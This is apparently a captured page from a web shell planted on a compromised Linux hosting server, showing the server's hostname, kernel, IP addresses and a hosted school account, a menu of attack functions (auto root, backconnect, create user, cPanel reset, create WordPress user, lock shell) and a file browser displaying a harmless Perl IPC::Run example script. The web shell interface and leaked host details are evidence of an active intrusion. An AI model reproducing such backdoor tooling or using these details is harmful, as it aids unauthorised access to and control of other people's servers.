Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.137.219.221
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-IPC-Run-0.92 /
eg /
[ HOME SHELL ]
Name
Size
Permission
Action
factorial
1.53
KB
-rw-r--r--
factorial_pipe
861
B
-rw-r--r--
factorial_scalar
780
B
-rw-r--r--
run_daemon
338
B
-rw-r--r--
runsh
1.12
KB
-rw-r--r--
runsu
971
B
-rw-r--r--
synopsis_scripting
604
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : synopsis_scripting
use strict ; my @cat = qw( cat ) ; my ( $in_q, $out_q, $err_q ) ; use IPC::Run qw( start pump finish timeout ) ; # Incrementally read from / write to scalars. Note that $in_q # is a queue that is drained as it is used. $h is for "harness". my $h = start \@cat, \$in_q, \$out_q, \$err_q, timeout( 10 ), debug => 1 ; $in_q .= "some input\n" ; pump $h until $out_q =~ /input\n/g ; $in_q .= "some more input\n" ; pump $h until $out_q =~ /\G.*more input\n/ ; $in_q .= "some final input\n" ; finish $h or die "cat returned $?" ; warn $err_q if $err_q ; print $out_q ; ## All of cat's output
Close